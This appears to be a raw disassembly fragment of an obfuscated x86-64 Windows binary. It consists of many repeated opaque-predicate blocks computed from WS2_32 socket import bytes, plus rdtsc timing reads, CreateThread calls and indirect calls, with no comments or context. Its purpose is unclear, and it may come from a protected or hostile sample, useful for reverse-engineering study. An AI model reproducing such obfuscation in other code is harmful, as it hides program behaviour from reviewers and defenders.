movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x140055192
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
movzx ecx, r13b
imul eax, edi
test eax, eax
cmovne ecx, r12d
mov byte [rbp - 0x78], cl
mov r13d, dword [rsp + 0x70]
xor eax, eax
mov r14d, eax
mov dword [rbp - 0x74], eax
nop dword [rax]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400552de
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400552de
mov eax, esi
mov dword [rbp - 0x6c], eax
jmp 0x140055374
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140055371
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
jmp 0x140055374
mov eax, dword [rbp - 0x6c]
cmp r14d, eax
jge 0x1400557da
xor edi, edi
lea r14, [rbp + 0x88]
mov r12d, edi
nop dword [rax]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r15, rax
mov qword [r14 - 8], rax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400557ab
rdtsc
shl rdx, 0x20
or rax, rdx
mov r8, rax
movabs rax, 0xcccccccccccccccd
mul r8
shr rdx, 3
lea rcx, [rdx + rdx*4]
add rcx, rcx
sub r8, rcx
cmp r8, 5
jbe 0x140055430
mov edx, 1
test r15, r15
jne 0x140055433
mov rdx, rdi
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400554e5
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400554e5
mov dword [rbp - 0x70], esi
jmp 0x140055576
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140055576
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x70]
test eax, eax
je 0x1400557b2
xor r9d, r9d
mov rcx, r15
mov r15, qword [rsp + 0x70]
xor r8d, r8d
lea edx, [r9 + 0x11]
call qword [r15]
mov edi, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx edx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
add edx, ebx
movsx ecx, byte [str._b_t3p]
add eax, edx
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400557b7
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
not edi
shr edi, 0x1f
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mov eax, edi
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400556cf
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400556cf
mov r13d, esi
jmp 0x14005575e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005575e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r13d, xmm0
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
xor edi, edi
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r13d
test eax, eax
je 0x1400557b9
mov byte [r14], 1
jmp 0x1400557b9
mov r15, qword [rsp + 0x70]
jmp 0x1400557b9
mov r15, qword [rsp + 0x70]
xor edi, edi
inc r12d
add r14, 0x10
cmp r12d, 0xa
jb 0x140055390
mov r14d, dword [rbp - 0x74]
inc r14d
mov dword [rbp - 0x74], r14d
jmp 0x1400551f0
movsd xmm6, qword [0x1406ab118]
xor r12d, r12d
mov r14d, r12d
mov dword [rbp - 0x68], r12d
nop dword [rax]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400558e1
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400558e1
mov eax, esi
mov dword [rbp - 0x6c], eax
jmp 0x140055977
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140055974
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
jmp 0x140055977
mov eax, dword [rbp - 0x6c]
cmp r14d, eax
jge 0x1400565be
lea r14, [rbp + 0x88]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005659a
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xorps xmm2, xmm2
mov r13, qword [r14 - 8]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
cvtsi2sd xmm2, r13
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140055a80
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140055a80
mov dword [rbp - 0x70], esi
jmp 0x140055b11
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140055b11
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 2
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x70]
test eax, eax
je 0x14005659a
mov rax, qword [r15 + 8]
lea rcx, [rbp + 0x6c]
mov edi, 1
mov qword [rsp + 0x20], rcx
mov r9d, edi
lea r8, [rbp + 0x68]
mov rcx, r13
lea edx, [rdi + 0x10]
call rax
mov r15d, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005658e
test r15d, r15d
js 0x140055bd8
cmp byte [rbp + 0x68], 0
jne 0x140055bd8
cmp byte [r14], 0
je 0x140055bd8
mov edx, edi
jmp 0x140055bdc
xor eax, eax
mov edx, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140055c8e
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140055c8e
mov dword [rbp - 0x74], esi
jmp 0x140055d1f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140055d1f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x74]
test eax, eax
je 0x140055d6d
mov byte [rbp - 0x78], dil
jmp 0x14005658e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 2
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005658e
call fcn.140012bd0
movsx edx, byte [0x14087fc72]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*2]
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx edx, al
xorps xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_closesocket]
add edx, ebx
add eax, edx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140055e94
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140055e94
mov dword [rbp - 0x5c], esi
jmp 0x140055f25
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140055f25
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x5c], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x5c]
test eax, eax
je 0x140056398
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005600c
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x140056075
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056075
movzx eax, byte [reloc.WS2_32.dll_htons]
call fcn.140012bf0
call fcn.140012bc0
call fcn.140012bb0
movzx eax, byte [str._b_t3p]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rsp + 0x68]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005658e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400561a6
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400561a6
mov dword [rbp - 0x60], esi
jmp 0x140056237
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056237
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x60], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x60]
test eax, eax
je 0x14005658e
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056326
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x14005658e
call fcn.140012bc0
movsx ebx, al
